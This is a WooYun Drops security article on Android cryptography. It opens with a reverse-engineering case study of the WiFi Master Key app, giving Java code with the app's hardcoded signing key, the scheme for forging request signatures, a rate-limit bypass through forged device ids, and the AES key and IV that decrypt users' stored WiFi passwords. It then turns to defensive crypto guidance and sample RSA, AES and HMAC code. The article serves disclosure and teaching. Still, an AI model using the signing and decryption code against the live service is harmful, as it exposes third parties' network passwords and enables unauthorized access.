<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/6049

            Android密碼學相關-案例wifi萬能鑰匙


            [TOC]

            起因


            網上盛傳wifi萬能鑰匙侵犯用戶隱私默認上傳用戶wifi密碼,導致用戶wifi處于被公開的狀態

            有朋友在drops發文分析此軟件:http://drops.wooyun.org/papers/4976,其中提到

            此外接口請求中有一個sign字段是加簽,事實上是把請求參數合并在一起與預置的key做了個md5,細節就不贅述了。這兩個清楚了之后其實完全可以利用這個接口實現一個自己的Wifi鑰匙了。

            對此處比較感興趣,一般摘要和加密會做到so里來增加逆向難度,但是wifi萬能鑰匙直接是再java層做的算法嘗試順著文章作者思路去解一下這個算法.

            關聯漏洞: WooYun: WIFI萬能鑰匙密碼查詢接口算法破解(可無限查詢用戶AP明文密碼)

            萬能鑰匙版本


            官網版:

            android:versionCode="620" android:versionName="3.0.98" package="com.snda.wifilocating"
            

            googleplay版:

            android:versionCode="58" android:versionName="1.0.8" package="com.halo.wifikey.wifilocating"
            

            摘要算法


            首先抓包分析確定關鍵字后追蹤其調用調用

            定位到摘要算法:傳入的Map對象后轉成數組排序后拼接上傳入的string進行md5最后轉成大寫.

            然后再找到key,到這里看貌似這個key是靜態的.

            現在可以根據這個寫出sign的類了.

            #!java
            import java.security.MessageDigest;
            import java.util.Arrays;
            import java.util.HashMap;
            import java.util.Map;
            
            class Digest {
                public static final String key = "[email protected]*Jq%KOL";
                public static final String retSn = "d407b1220d9447afac1653c337b00abf";  //服務器返回的retSn需要每次都換...
                /**
                 * @param args
                 * chanid=guanwang
                 */
                public static void main(String[] args) {
                    HashMap v1 = new HashMap();
                    v1.put("och", "guanwang");
                    v1.put("ii", "359250051898912");
                    v1.put("appid", "0002");
                    v1.put("pid", "qryapwd:commonswitch");
                    v1.put("mac","f8:a9:d0:76:e4:31");
                    v1.put("lang","cn");
                    v1.put("bssid","74:44:01:7a:a4:c2,ec:6c:9f:1e:3b:f5,74:44:01:7a:a4:c0,20:4e:7f:85:92:01,cc:b2:55:e2:77:70,1c:fa:68:14:a3:d5,8c:be:be:24:be:48,c0:61:18:2c:89:12,a4:93:4c:b1:ee:31,a6:93:4c:b1:ee:31,c8:3a:35:09:c3:38,78:a1:06:3f:e0:fc,2a:2c:b2:ff:32:3b,a8:57:4e:03:5a:ba,28:2c:b2:ff:32:3b,5c:63:bf:cd:d1:68,");
                    v1.put("v","620");
                    v1.put("ssid","OpenWrt,.........,hadventure,Netcore,Serial-beijing_5G,fao706,linksys300n,willtech,serial_guest,adata,Excel2,Newsionvc,Excellence,ShiningCareer,");
                    v1.put("method","getSecurityCheckSwitch");
                    v1.put("uhid", "a0000000000000000000000000000001");
                    v1.put("st", "m");
                    v1.put("chanid", "guanwang");
                    v1.put("dhid", "4028b2994b722389014bcf2e2c6466ea");  //查詢頻繁被ban后可以嘗試更改此處
            
                    String sign = digest(v1,key);
                    System.out.println("sign=="+sign);   //固定鹽算sign
                    System.out.println("sign2=="+digest(v1,retSn)); //變化鹽算sign
                }
            
                public static String digest(Map paramMap, String paramString)
                  {
                    new StringBuilder("---------------key of md5:").append(paramString).toString();
                    Object[] arrayOfObject = paramMap.keySet().toArray();  //轉為數組
                    Arrays.sort(arrayOfObject);  //排序
                    StringBuilder localStringBuilder = new StringBuilder();
                    int i = arrayOfObject.length;
                    for (int j = 0; j < i; j++)
                      localStringBuilder.append((String)paramMap.get(arrayOfObject[j])); //拼接
                    localStringBuilder.append(paramString);   //加鹽
                    //System.out.println("string=="+localStringBuilder.toString());
                    return md5(localStringBuilder.toString()).toUpperCase();  //算出md5
                  }
            
                  public final static String md5(String s) {
                         char hexDigits[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};       
                         try {
                             byte[] btInput = s.getBytes();
                             // 獲得MD5摘要算法的 MessageDigest 對象
                             MessageDigest mdInst = MessageDigest.getInstance("MD5");
                             // 使用指定的字節更新摘要
                             mdInst.update(btInput);
                             // 獲得密文
                             byte[] md = mdInst.digest();
                             // 把密文轉換成十六進制的字符串形式
                             int j = md.length;
                             char str[] = new char[j * 2];
                             int k = 0;
                             for (int i = 0; i < j; i++) {
                                 byte byte0 = md[i];
                                 str[k++] = hexDigits[byte0 >>> 4 & 0xf];
                                 str[k++] = hexDigits[byte0 & 0xf];
                             }
                             return new String(str);
                         } catch (Exception e) {
                             e.printStackTrace();
                             return null;
                         }
                     }
            }
            

            修改請求包后重新計算sign,再次發包.結果卻不是預期那樣,依然返回的是

            {"retCd":"-1111","retMsg":"商戶數字簽名錯誤,請聯系請求發起方!","retSn":"141356b44efd487ca0c333d8bec89da9"}
            

            而且還有一個奇怪retSN,之前查詢成功也有retSn的.到這里開始懷疑key不是那么簡單的一直是不變的.于是我用xposed hook了其md5方法的傳入參數.

            #!java
            package org.wooyun.xposedhook;
            
            import de.robv.android.xposed.IXposedHookLoadPackage;
            import de.robv.android.xposed.XC_MethodHook;
            import de.robv.android.xposed.XposedBridge;
            import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;
            import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
            
            public class Main implements IXposedHookLoadPackage {
            
                @Override
                public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
                    // TODO Auto-generated method stub
                    if (!lpparam.packageName.equals("com.snda.wifilocating")) {
                        // XposedBridge.log("loaded app:" + lpparam.packageName);
                        return;
                    }
                    findAndHookMethod("com.snda.wifilocating.f.ae", lpparam.classLoader, "a", String.class, new XC_MethodHook() {
            
                                @Override
                                protected void beforeHookedMethod(MethodHookParam param)
                                        throws Throwable {
                                    // TODO Auto-generated method stub
                                    // String result = (String) param.getResult();
                                    XposedBridge.log("---input---:" + param.args[0]);
                                    super.beforeHookedMethod(param);
            
                                }
            
                                @Override
                                protected void afterHookedMethod(MethodHookParam param)
                                        throws Throwable {
                                    // TODO Auto-generated method stub
                                    XposedBridge.log("---output---:" + param.getResult());
                                    super.afterHookedMethod(param);
                                }
            
                            });
            
                }
            
            }
            

            通過hook發現大部分請求的sign是按照之前分析的方法計算出的,但是在查詢密碼處計算sign的key一直在變化的,這里是一個動態的key

            再返回去分析摘要算法的調用情況來追蹤動態key如何產生的,交叉引用xrefs

            原來計算sign的方式還請求包中pid的值有關

            當pid=qryapwd:commoanswith所用的key并非之前提到的靜態密鑰,而且調用一個方法,追蹤此方法發現此參數是從默認的shared_prefs文件中讀取的.如果為空才使用靜態密鑰.(分享wifi密碼和查詢wifi密碼均進入此條件)

            那么shared_prefs默認文件中的值又是從哪里生成的了?通過抓包可以發現這個是由服務器返回的.每次查詢后都會更新

            現在已經完全了解官網版本的兩種摘要算法,可以自己構造請求來查詢wifi密碼了.

            請求頻率與dhid


            在之后的測試發現如果查詢過于頻繁會被服務器給ban掉,通過fuzz發現服務器是通過dhid這個參數來判斷是請求來源是否為同一設備,修改dhid然后重新計算sign發包.此處的sign是通過上文digest(v1,retSn)算出的.

            顯然dhid也做了合法性效驗,繼續探索dhid是如何生成的,客戶端是從私有文件中取得dhid的,而客戶端的dhid是由應用安裝后發送請求由服務器返回的.

            通過修改此處請求并重新計算sign就可以得到新的dhid來突破請求限制了.此處的sign是通過上文digest(v1,key)算出的.(參數字段也要修改)

            老版本遺留問題


            在搜索wifi萬能鑰匙早期版本的過程中,發現googleplay上的版本為早期1.x version的.摘要算法和加密算法都基本和新版本一致只不過密鑰不同.服務端通過v參數(版本號)來區分計算sign.

            googleplay版的查詢wifi密碼后并未返回retSn,通過hook和逆向確定此版本wifi密碼查詢功能并未使用服務器返回的retSn來作為摘要算法的鹽.而是使用之前分析的固定key的方式計算sign.這就使得我們制作自己的wifi密碼查詢小工具變得簡單多了.

            這就是摘要算法/加密算法被破解后危害的持續性,因為此類漏洞的修補不僅僅是服務端代碼更新且需要同步客戶端同步更新,但是又無法保證每個用戶都更新客戶端,為了可用性而犧牲安全性.一般妥協的做法就是兼容方式的為不同時期的客戶端提供不同的服務,當然用戶體驗還是一致的,只是現實方式略有區別.

            pwd加密算法分析


            查詢密碼后服務器返回的wifi密碼是加密過的,但是這種加密客戶端必定對應有解密算法.你的劍就是我的劍.

            #!java
            import javax.crypto.Cipher;
            import javax.crypto.KeyGenerator;
            import javax.crypto.SecretKey;
            import javax.crypto.spec.IvParameterSpec;
            import javax.crypto.spec.SecretKeySpec;
            
            public class AES {
                static Cipher cipher;
                static final String KEY_ALGORITHM = "AES";
                /*
                 * chanid=guanwang  官網版解密
                 */
                static final String CIPHER_ALGORITHM_CBC_NoPadding = "AES/CBC/NoPadding"; 
                static SecretKey secretKey;
            
                public static void main(String[] args) throws Exception {
                    System.out.println(method4("A8A839A49A25420E3E0E67AA1B22EDCCA3825A7610258FAAEAF26C4200F68C47"));// length = n*16
                }
            
                static byte[] getIV() {
                    String iv = "[email protected]!3jnv"; //IV length: must be 16 bytes long
                    return iv.getBytes();
                }
            
                static String method4(String str) throws Exception {
                    cipher = Cipher.getInstance(CIPHER_ALGORITHM_CBC_NoPadding);
                    String key = "jh16@`~78vLsvpos";
                    SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
                    byte[] arrayOfByte1 = null;
                    cipher.init(Cipher.DECRYPT_MODE, secretKey, new IvParameterSpec(getIV()));//使用解密模式初始化 密鑰
                      while (true)
                      {
            
                        int i = str.length();
                        arrayOfByte1 = null;
                        if (i >= 2)
                        {
                          int j = str.length() / 2;
                          arrayOfByte1 = new byte[j];
                          for (int k = 0; k < j; k++)
                            arrayOfByte1[k] = ((byte)Integer.parseInt(str.substring(k * 2, 2 + k * 2), 16));
                        }
                        byte[] arrayOfByte2 = cipher.doFinal(arrayOfByte1);
                        return new String(arrayOfByte2);
                      }
            
                }
            
            }
            

            偽造wifi密碼


            如果不想改密碼還可以偽造分享ap請求來覆蓋之前的密碼,依然需要計算sign哦.

            再覆蓋一次.

            wifi密碼查詢小工具


            綜合上述分析就可以制作出自己的wifi密碼查詢工具了.

            順手也寫了一個android客戶端.

            烏云案例

            本地加解密:

            WooYun: 逆向分析蘇寧易購安卓客戶端加密到解密獲取明文密碼(附demo驗證)

            簽名算法脆弱:

            WooYun: 逆向人人客戶端,破解校驗算法之<暴力破解+撞庫>

            WooYun: 360移動端可被破解之撞庫攻擊(輕松撞出幾十萬)

            WooYun: PPTV(PPlive)客戶端批量刷會員漏洞

            小結

            由案例可知應用密碼學相關的設計一定要在項目初始設計完善,不然后患無窮而且很難修復.

            sign的算法因為必然存在客戶端里,所有終究會被定位到,只是難易程度不同.所以在sign算法的隱藏上下功夫整個方向是不對的.

            得想出一種方案讓攻擊者知道sign的算法也很難利用此算法,例如:計算sign之后對數據進行非對稱加密,這時要對sign重新計算sign就無法直接從http包中獲取字段,要解密也沒有私鑰.只有通過hook以及反編譯來獲得計算的sign的參數變得較為繁瑣,如果有必要可以對應用進行加殼使用反編譯和hook變得更加困難.

            設計好方案之后的關鍵就是選擇加密算法/密鑰存儲位置.

            Android密碼學相關-加密/摘要算法


            分類


            對稱加密(symmetric cryptography)/共享密鑰加密(shared-key cryptography):AES/DES/RC4/3DES...

            非對稱加密(asymmetric cryptography)/公開密鑰加密(public-key cryptography):RSA/ECC/Diffie-Hellman...

            基于密碼加密 password-based encryption (PBE)

            摘要/哈希/散列函數:md5/SHA1... (單向陷門/抗碰撞)

            優缺點:

            由于進行的都是大數計算,使得RSA最快的情況也比DES慢上好幾倍,無論是軟件還是硬件實現。速度一直是RSA的缺陷。一般來說只用于少量數據加密。RSA的速度比對應同樣安全級別的對稱密碼算法要慢1000倍左右。

            易混淆概念


            Message Authentication:消息認證是一個過程,用以驗證接收消息的真實性(的確是由它所聲稱的實體發來的)和完整性(未被篡改、插入、刪除),同時還用于驗證消息的順序性和時間性(未重排、重放、延遲).

            HMAC:是密鑰相關的哈希運算消息認證碼(Hash-based Message Authentication Code),HMAC運算利用哈希算法,以一個密鑰和一個消息為輸入,生成一個消息摘要作為輸出。(安全性不依賴哈希算法,依賴密鑰)

            MAC: Message Authentication Code 消息鑒別碼實現鑒別的原理是,用公開函數和密鑰產生一個固定長度的值作為認證標識(keyed hash function),用這個標識鑒別消息的完整性.使用一個密鑰生成一個固定大小的小數據塊,即MAC,并將其加入到消息中,然后傳輸.接收方利用與發送方共享的密鑰進行鑒別認證等

            digital signatures 消息的發送者用自己的私鑰對消息摘要進行加密,產生一個加密后的字符串,稱為數字簽名。因為發送者的私鑰保密,可以確保別人無法偽造生成數字簽名,也是對信息的發送者發送信息真實性的一個有效證明。。數字簽名是非對稱密鑰加密技術與數字摘要技術(hash function)的應用。

            Hash 簡單的說就是一種將任意長度的消息壓縮到某一固定長度的消息摘要的函數。

            密鑰(key)/密碼(password)

            一些對比:

            選擇加密算法/摘要算法


            Protecting Key


            當使用加密技術以確保敏感數據安全(機密性和完整性),如果密鑰(key)泄露即使是最強大的加密算法和密鑰長度也不能保障來自第三方的攻擊.所以一個好的保存密鑰的方式變得十分重要.

            預置密鑰(key):服務端到客戶端的通信加密/摘要/簽名

            密鑰協商:由服務端返回密鑰/鹽值

            算法生成密鑰:本地數據加解密

            key的存儲位置

            建議


            1.當指定的加密算法時顯式指定加密模式和填充方式

                algorithm/mode/padding
            

            2.使用健壯的算法

            3.當使用基于密碼的加密算法時不能將密碼存儲在設備中

            4.使用密碼生成key時記得加鹽

            SecretKey secretKey = generateKey(password, mSalt);
            

            5.當使用密碼生成key時指定哈希迭代次數

            private static final int KEY_GEN_ITERATION_COUNT = 1024;
            .....
            keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT, KEY_LENGTH_BITS);
            

            6.強制增加密碼強度

            加密使用native方法,so也不一定安全


            1.hook&注入

            http://drops.wooyun.org/tips/2986

            文章中使用 smali 注入廣播接收器后動態修改加密前的字符串的方法非常有效,使用 xposed 實現過程要更為簡潔

            #!java
            public class Main3 implements IXposedHookLoadPackage {
            
                private static String tag = "ReceiverControlXposed";
            
                @Override
                public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable {
            
                    if(!lpparam.packageName.equals("org.wooyun.mybroadcast"))
                        return;
                    else
                        Log.i(tag,lpparam.packageName);
                    findAndHookMethod("android.app.Application", lpparam.classLoader, "onCreate", new XC_MethodHook() {
                        @Override
                        protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                            Context context = (Context) param.thisObject;
                            IntentFilter filter = new IntentFilter(myCast.myAction);
                            filter.addAction(myCast.myCmd);
                            context.registerReceiver(new myCast(), filter);
                        }
            
                        @Override
                        protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                            super.afterHookedMethod(param);
                        }
                    });
            
                    // TODO Auto-generated method stub
                    findAndHookMethod("org.wooyun.mybroadcast.StringActivity", lpparam.classLoader, "decode" , String.class , new XC_MethodHook() {
            
                        @Override
                        protected void beforeHookedMethod(MethodHookParam param)
                                throws Throwable {
                            Log.i(tag,"before param : " + param.args[0]);
                            param.args[0] = myCast.alter((String) param.args[0]);
                            Log.i(tag,"after param : " + param.args[0]);
                        }
            
                        @Override
                        protected void afterHookedMethod(MethodHookParam param)
                                throws Throwable {
            
                        }
                    });
                }
            
            }
            

            2.無防護的 so,ida分析/還原/調用

            暫缺可公開案例

            偽隨機數生成器(PRNG)


            http://drops.wooyun.org/papers/5164

            非對稱加密:RSA加解密的example


            #!java
            package org.wooyun.digest;
            
            import java.security.InvalidKeyException;
            import java.security.KeyFactory;
            import java.security.NoSuchAlgorithmException;
            import java.security.PrivateKey;
            import java.security.PublicKey;
            import java.security.interfaces.RSAPublicKey;
            import java.security.spec.InvalidKeySpecException;
            import java.security.spec.PKCS8EncodedKeySpec;
            import java.security.spec.X509EncodedKeySpec;
            import javax.crypto.BadPaddingException;
            import javax.crypto.Cipher;
            import javax.crypto.IllegalBlockSizeException;
            import javax.crypto.NoSuchPaddingException;
            
            public final class RsaCryptoAsymmetricKey {
                // *** POINT 1 *** 明確指定加密模式和填充
                // *** POINT 2 *** 使用健壯的加密方法 (specifically, technologies that meet the relevant criteria), in cluding algorithms, block cipher modes, and padding modes..
                // Parameters passed to getInstance method of the Cipher class: Encryption algorithm, block encryption mode, padding rule
                // In this sample, we choose the following parameter values: encryption algorithm=RSA, block encryption mode=NONE , padding rule=OAEPPADDING.
                private static final String TRANSFORMATION = "RSA/NONE/OAEPPADDING";
                // 指定加密算法
                private static final String KEY_ALGORITHM = "RSA";
                // *** POINT 3 *** 使用足夠長度的key以保證加密強度.
                //檢測key的長度
                private static final int MIN_KEY_LENGTH = 2000;
            
                RsaCryptoAsymmetricKey() {
                }
            
                public final byte[] encrypt(final byte[] plain, final byte[] keyData) {
                    byte[] encrypted = null;
                    try {
                        // *** POINT 1 *** Explicitly specify the encryption mode and the padding.
                        // *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes..
                        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
                        PublicKey publicKey = generatePubKey(keyData);
                        if (publicKey != null) {
            
                            cipher.init(Cipher.ENCRYPT_MODE, publicKey);
                            encrypted = cipher.doFinal(plain);
                        }
                    } catch (NoSuchPaddingException e) {
                    } catch (InvalidKeyException e) {
                    } catch (IllegalBlockSizeException e) {
                    } catch (BadPaddingException e) {
                    } catch (NoSuchAlgorithmException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    } finally {
                    }
                    return encrypted;
                }
            
                public final byte[] decrypt(final byte[] encrypted, final byte[] keyData) {
            
                    // In general, decryption procedures should be implemented on the server side;
                    //通常說解密過程應該在服務端實現.
                    //however, in this sample code we have implemented decryption processing within the application to ensure confirmation of proper execution.
                    //但是此實例代碼同時實現了解密好讓整個加解密正常運行
                    // When using this sample code in real-world applications, be careful not to retain any private keys within the application.
                    //如果真要用此代碼小心不要將私鑰存儲在客戶端中喲.
                    byte[] plain = null;
                    try {
                        // *** POINT 1 *** Explicitly specify the encryption mode and the padding.
                        // *** POINT 2 *** Use strong encryption methods (specifically, technologies that meet the relevant criteria), including algorithms, block cipher modes, and padding modes..
                        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
                        PrivateKey privateKey = generatePriKey(keyData);
                        cipher.init(Cipher.DECRYPT_MODE, privateKey);
                        plain = cipher.doFinal(encrypted);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (NoSuchPaddingException e) {
                    } catch (InvalidKeyException e) {
                    } catch (IllegalBlockSizeException e) {
                    } catch (BadPaddingException e) {
                    } finally {
                    }
                    return plain;
                }
            
                private static final PublicKey generatePubKey(final byte[] keyData) {
                    PublicKey publicKey = null;
                    KeyFactory keyFactory = null;
                    try {
                        keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);
                        publicKey = keyFactory.generatePublic(new X509EncodedKeySpec(
                                keyData));
                    } catch (IllegalArgumentException e) {
                    } catch (NoSuchAlgorithmException e) {
                    } catch (InvalidKeySpecException e) {
                    } finally {
                    }
                    // *** POINT 3 *** .使用足夠長度的key以保證加密強度.
                    // 檢測key長度
                    if (publicKey instanceof RSAPublicKey) {
                        int len = ((RSAPublicKey) publicKey).getModulus().bitLength();
                        if (len < MIN_KEY_LENGTH) {
                            publicKey = null;
                        }
                    }
                    return publicKey;
                }
            
                private static final PrivateKey generatePriKey(final byte[] keyData) {
                    PrivateKey privateKey = null;
                    KeyFactory keyFactory = null;
                    try {
                        keyFactory = KeyFactory.getInstance(KEY_ALGORITHM);
                        privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
                                keyData));
                    } catch (IllegalArgumentException e) {
                    } catch (NoSuchAlgorithmException e) {
                    } catch (InvalidKeySpecException e) {
                    } finally {
                    }
                    return privateKey;
                }
            }
            

            對稱加密:AES(PBEKey)加解密的example


            #!java
            package org.wooyun.crypto;
            
            import java.security.InvalidAlgorithmParameterException;
            import java.security.InvalidKeyException;
            import java.security.NoSuchAlgorithmException;
            import java.security.SecureRandom;
            import java.security.spec.InvalidKeySpecException;
            import java.util.Arrays;
            import javax.crypto.BadPaddingException;
            import javax.crypto.Cipher;
            import javax.crypto.IllegalBlockSizeException;
            import javax.crypto.NoSuchPaddingException;
            import javax.crypto.SecretKey;
            import javax.crypto.SecretKeyFactory;
            import javax.crypto.spec.IvParameterSpec;
            import javax.crypto.spec.PBEKeySpec;
            
            public final class AesCryptoPBEKey {
                // *** POINT 1 *** 明確指定加密模式和填充
                // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式    
                //創建Cipher實例傳入的參數,算法AES,塊加密CBC,填充PKCS7Padding.
                private static final String TRANSFORMATION = "AES/CBC/PKCS7Padding";
                //生成key時創建SecretKeyFactory實例傳入的參數
                private static final String KEY_GENERATOR_MODE = "PBEWITHSHAAND128BITAES-CBC-BC";
                // *** POINT 3 *** 用password生成key的時候記得加鹽
                // Salt長度,單位 bytes
                public static final int SALT_LENGTH_BYTES = 20;
                // *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
                // 通過PBE生成key時設置hash迭代次數
                private static final int KEY_GEN_ITERATION_COUNT = 1024;
                // *** POINT 5 *** 使用足夠長度的key以保證加密強度. 
                // Key 長度,單位bits
                private static final int KEY_LENGTH_BITS = 128;
                private byte[] mIV = null;
                private byte[] mSalt = null;
            
                public byte[] getIV() {
                    return mIV;
                }
            
                public byte[] getSalt() {
                    return mSalt;
                }
            
                AesCryptoPBEKey(final byte[] iv, final byte[] salt) {
                    mIV = iv;
                    mSalt = salt;
                }
            
                AesCryptoPBEKey() {
                    mIV = null;
                    initSalt();
                }
            
                private void initSalt() {
                    mSalt = new byte[SALT_LENGTH_BYTES];
                    SecureRandom sr = new SecureRandom();
                    sr.nextBytes(mSalt);
                }
            
                public final byte[] encrypt(final byte[] plain, final char[] password) {
                    byte[] encrypted = null;
                    try {
                        // *** POINT 1 *** 明確指定加密模式和填充
                        // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式
                        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
                        // *** POINT 3 *** 用password生成key的時候記得加鹽
                        SecretKey secretKey = generateKey(password, mSalt);
                        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
                        mIV = cipher.getIV();
                        encrypted = cipher.doFinal(plain);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (NoSuchPaddingException e) {
                    } catch (InvalidKeyException e) {
                    } catch (IllegalBlockSizeException e) {
                    } catch (BadPaddingException e) {
                    } finally {
                    }
                    return encrypted;
                }
            
                public final byte[] decrypt(final byte[] encrypted, final char[] password) {
                    byte[] plain = null;
                    try {
                        // *** POINT 1 *** 明確指定加密模式和填充
                        // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式
                        Cipher cipher = Cipher.getInstance(TRANSFORMATION);
                        // *** POINT 3 *** 用password生成key的時候記得加鹽
                        SecretKey secretKey = generateKey(password, mSalt);
            
                        IvParameterSpec ivParameterSpec = new IvParameterSpec(mIV);
                        cipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec);
                        plain = cipher.doFinal(encrypted);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (NoSuchPaddingException e) {
                    } catch (InvalidKeyException e) {
                    } catch (InvalidAlgorithmParameterException e) {
                    } catch (IllegalBlockSizeException e) {
                    } catch (BadPaddingException e) {
                    } finally {
                    }
                    return plain;
                }
            
                private static final SecretKey generateKey(final char[] password,
                        final byte[] salt) {
                    SecretKey secretKey = null;
                    PBEKeySpec keySpec = null;
                    try {
                        // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式    
                        // 創建一個實例生成key
                        //In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys.
                        SecretKeyFactory secretKeyFactory = SecretKeyFactory
                                .getInstance(KEY_GENERATOR_MODE);
                        // *** POINT 3 *** 用password生成key的時候記得加鹽
                        // *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
                        // *** POINT 5 ***使用足夠長度的key以保證加密強度.
                        keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT,
                                KEY_LENGTH_BITS);
                        // 清除password
                        Arrays.fill(password, '?');
                        //生成 key
                        secretKey = secretKeyFactory.generateSecret(keySpec);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (InvalidKeySpecException e) {
                    } finally {
                        keySpec.clearPassword();
                    }
                    return secretKey;
                }
            }
            

            簽名:AES(PBEKey) HMAC example


            #!java
            package org.wooyun.crypto;
            
            import java.security.InvalidKeyException;
            import java.security.NoSuchAlgorithmException;
            import java.security.SecureRandom;
            import java.security.spec.InvalidKeySpecException;
            import java.util.Arrays;
            import javax.crypto.Mac;
            import javax.crypto.SecretKey;
            import javax.crypto.SecretKeyFactory;
            import javax.crypto.spec.PBEKeySpec;
            
            
            // PBE:password based encryption
            
            public final class HmacPBEKey {
                // *** POINT 1 *** 明確指定加密模式和填充
                // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式
                //創建Mac類實例傳參:PBEWITHHMACSHA1
                private static final String TRANSFORMATION = "PBEWITHHMACSHA1";
                //生成key時創建SecretKeyFactory實例傳入的參數
                private static final String KEY_GENERATOR_MODE = "PBEWITHHMACSHA1";
                // *** POINT 3 *** 用password生成key的時候記得加鹽 
                // Salt長度,單位 bytes
                public static final int SALT_LENGTH_BYTES = 20;
                // *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數
                // 通過PBE生成key時設置hash迭代次數
                private static final int KEY_GEN_ITERATION_COUNT = 1024;
                // *** POINT 5 *** 使用足夠長度的key以保證MAC強度. 
                // strength. 
                // Key長度,單位bits
                private static final int KEY_LENGTH_BITS = 160;
                private byte[] mSalt = null;
            
                public byte[] getSalt() {
                    return mSalt;
                }
            
                HmacPBEKey() {
                    initSalt();
                }
            
                private void initSalt() {
                    // TODO Auto-generated method stub
                    mSalt = new byte[SALT_LENGTH_BYTES];
                    SecureRandom sr = new SecureRandom();
                    sr.nextBytes(mSalt);
                }
            
                HmacPBEKey(final byte[] salt) {
                    mSalt = salt;
            
                }
            
                public final byte[] sign(final byte[] plain, final char[] password) {
                    return calculate(plain, password);
                }
            
                private final byte[] calculate(final byte[] plain, final char[] password) {
                    byte[] hmac = null;
                    try {
                        // *** POINT 1 *** 明確指定加密模式和填充
                        // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式
                        Mac mac = Mac.getInstance(TRANSFORMATION);
                        // *** POINT 3 *** 用password生成key的時候記得加鹽 
                        SecretKey secretKey = generateKey(password, mSalt);
                        mac.init(secretKey);
                        hmac = mac.doFinal(plain);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (InvalidKeyException e) {
                    } finally {
                    }
                    return hmac;
                }
            
                public final boolean verify(final byte[] hmac, final byte[] plain,
                        final char[] password) {
                    byte[] hmacForPlain = calculate(plain, password);
                    if (Arrays.equals(hmac, hmacForPlain)) {
                        return true;
                    }
                    return false;
                }
            
                private static final SecretKey generateKey(final char[] password,
                        final byte[] salt) {
                    SecretKey secretKey = null;
                    PBEKeySpec keySpec = null;
                    try {
                        // *** POINT 2 *** 使用健壯的加密方法,包括算法/塊加密模式/填充模式
                        //創建類實例生成key
                        // In this example, we use a KeyFactory that uses SHA1 to generate AES-CBC 128-bit keys.(PBEWITHHMACSHA1)
                        SecretKeyFactory secretKeyFactory = SecretKeyFactory
                                .getInstance(KEY_GENERATOR_MODE);
                        // *** POINT 3 *** 用password生成key的時候記得加鹽 
                        // *** POINT 4 *** 用password生成key的時候, 指定合適的hash迭代次數 
                        // *** POINT 5 *** 使用足夠長度的key以保證MAC強度. 
                        keySpec = new PBEKeySpec(password, salt, KEY_GEN_ITERATION_COUNT,
                                KEY_LENGTH_BITS);
                        // 清空 password
                        Arrays.fill(password, '?');
                        // 生成 key
                        secretKey = secretKeyFactory.generateSecret(keySpec);
                    } catch (NoSuchAlgorithmException e) {
                    } catch (InvalidKeySpecException e) {
                    } finally {
                        keySpec.clearPassword();
                    }
                    return secretKey;
                }
            }
            

            兼容性問題


            android就是那么讓人操心,應用的易用性肯定要放在安全性前面.服務端的環境可以控制,但是客戶端的環境就沒有辦法了.無法保證每個用戶都環境都是一樣的.

            java.security.NoSuchAlgorithmException....
            

            所以必須得選擇一個絕大多數設備都能兼容的算法.下面是 android2.3.4支持的算法.

            下面的代碼可以查看當前 provider 支持的算法.

            #!
            Provider[] providers = Security.getProviders();
            for (Provider provider : providers) {
                Log.i("CRYPTO","provider: "+provider.getName());
                Set<Provider.Service> services = provider.getServices();
                for (Provider.Service service : services) {
                    Log.i("CRYPTO","  algorithm: "+service.getAlgorithm());
                }
            }
            

            android 2.3.4

            provider: AndroidOpenSSL
             algorithm: SHA-384
             algorithm: SHA-1
             algorithm: SSLv3
             algorithm: MD5
             algorithm: SSL
             algorithm: SHA-256
             algorithm: TLS
             algorithm: SHA-512
             algorithm: TLSv1
             algorithm: Default
            provider: DRLCertFactory
             algorithm: X509
            provider: BC
             algorithm: PKCS12
             algorithm: DESEDE
             algorithm: DH
             algorithm: RC4
             algorithm: PBEWITHSHAAND128BITAES-CBC-BC
             algorithm: DESEDE
             algorithm: Collection
             algorithm: SHA-1
             algorithm: PBEWITHSHA256AND256BITAES-CBC-BC
             algorithm: PBEWITHSHAAND192BITAES-CBC-BC
             algorithm: DESEDEWRAP
             algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL
             algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL
             algorithm: AES
             algorithm: HMACSHA256
             algorithm: OAEP
             algorithm: HMACSHA256
             algorithm: HMACSHA384
             algorithm: DSA
